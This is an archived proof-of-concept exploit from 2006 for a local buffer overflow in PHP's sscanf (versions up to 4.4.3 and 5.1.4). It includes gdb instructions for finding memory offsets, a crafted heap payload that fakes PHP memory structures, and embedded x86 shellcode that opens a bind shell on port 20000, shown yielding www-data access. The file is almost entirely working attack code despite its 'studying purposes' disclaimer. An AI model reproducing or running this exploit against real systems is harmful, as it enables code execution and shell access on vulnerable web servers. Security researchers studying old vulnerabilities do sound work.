PHP <= 4.4.3 / 5.1.4 (sscanf) Local Buffer Overflow Exploit

&#60;? /*********************************************************** * hoagie_php_sscanf.php * PHP &#60;= 4.4.3 / 5.1.4 local buffer overflow exploit * * howto get offsets: * (set $base_addr to 0x41414141) * # ulimit -c 20000 * # /etc/init.d/apache restart * (execute script via web browser) * # tail /var/log/apache/error.log * ... * [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal Segmentation fault (11), possible coredump in /tmp * ... * $ gdb /usr/sbin/apache /tmp/core * ... * ... * #0 0x40422b2d in php_sscanf_internal () from /usr/lib/apache/1.3/libphp4.so * (gdb) x/250 $edx * ... * 0x83ae16c: 0x41414141 0x41414141 0x41414141 0x41414141 * 0x83ae17c: 0xdeadbabe 0x41414145 0x4141415d 0x00000001 * ^^^^^^^^^^ * start of our buffer (0x83ae180) = $base_addr * 0x83ae18c: 0x00000008 0x4141415d 0x0833d248 0x00000400 * 0x83ae19c: 0x909006eb 0x90909090 0xe3f7db31 0x435366b0 * ^^^^^^^^^^ * start of shell code (0x83ae1a4) * 0x83ae1ac: 0x89534353 0x80cd4be1 0x6652c789 0x43204e68 * 0x83ae1bc: 0xe1895366 0xd0f6efb0 0x89575150 0xcd66b0e1 * 0x83ae1cc: 0x4366b080 0x5080cd43 0xe1895750 0xcd66b043 * 0x83ae1dc: 0x89d98980 0x2c6fb0c3 0x80cd4930 0x51f6e241 * 0x83ae1ec: 0x732f6e68 0x2f2f6868 0xe3896962 0xe1895351 * 0x83ae1fc: 0xd0f6f4b0 0x414180cd 0x41414141 0x41414141 * 0x83ae20c: 0x41414141 0x41414141 0x41414141 0x41414141 * ... * (gdb) quit * # * (change $base_addr in exploit and now call url again) * # gdb /usr/sbin/apache /tmp/core * #0 0x40475e73 in _efree () * from /usr/lib/apache/1.3/libphp4.so * (gdb) x/4w $ebp * 0xbfffb018: 0xbfffb038 0x40484241 0x0812a2f4 0xbfffb038 * ^^^^^^^^^^ * return address (return address location = 0xbfffb01c) * (change $rec_log in exploit and call url again) * $ telnet 127.0.0.1 20000 * Trying 127.0.0.1... * Connected to localhost. * Escape character is &#39;^]&#39;. * id; * uid=33(www-data) gid=33(www-data) groups=33(www-data) * exit; * Connection closed by foreign host. * $ * * NOTE: Because of PHP memory allocation this exploit depends on filename, pathname * content etc... (because each line/byte will change emalloc() behavior * * Credits: Heintz (discovered this bug) * BigHawk (bind shell code) * Greuff (void.at) * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * * VOID.AT Security * andi@void.at * http://www.void.at * ************************************************************/ /* base_addr for buffer in memory */ $base_addr = 0x812a260; $base_addr_fill = 0x16; /* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type */ $zval_attr = 0x00000008; /* will be overwritten to execute our shellcode */ $ret_loc = 0xbfffb01c; /* just for searching */ $pattern = 0xdeadbabe; function long2str($addr) { return pack(&#34;V&#34;, $addr); } $data = /* fill up memory */ str_repeat(long2str($base_addr), $base_addr_fill) . /* pattern */ long2str($pattern) . /* current = base_addr */ long2str($base_addr + 0x4) . /* *current = _zval_struct */ /* _zval_struct */ /* _zvalue_value */ /* _zvalue_value.str.val */ long2str($base_addr + 0x10 + 0xc) . /* _zvalue_value_str.len */ long2str(0x00000001) . /* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */ long2str($zval_attr) . /* _zend_mem_header */ /* _zend_mem_header.pNext = start of shellcode */ long2str($base_addr + 28) . /* _zend_mem_header.pLast */ long2str($ret_loc) . /* zend_mem_header.size, zend_mem_header.cached */ long2str(0x000000400) . /* jump over next six bytes */ &#34;\xeb\x06\x90\x90&#34; . /* this bytes will be overwritten by efree() */ &#34;\x90\x90\x90\x90&#34; . /* shell code starts here - * BigHawk bind() version - just a little update to get rid * of 0x3f */ &#34;\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd&#34; . &#34;\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef&#34; . &#34;\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43&#34; . &#34;\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89&#34; . &#34;\xc3\xb0\x6f\x2c\x30\x49\xcd\x80\x41\xe2\xf6\x51\x68\x6e\x2f&#34; . &#34;\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4&#34; . &#34;\xf6\xd0\xcd\x80&#34; . /* fill up memory */ str_repeat(long2str($base_addr), $base_addr_fill); /* fill up memory with emalloc() for sscanf() */ quotemeta($data); /* trigger exploit */ sscanf($data, &#39;%1$s&#39;, $str); ?&#62; # milw0rm.com [2006-08-16]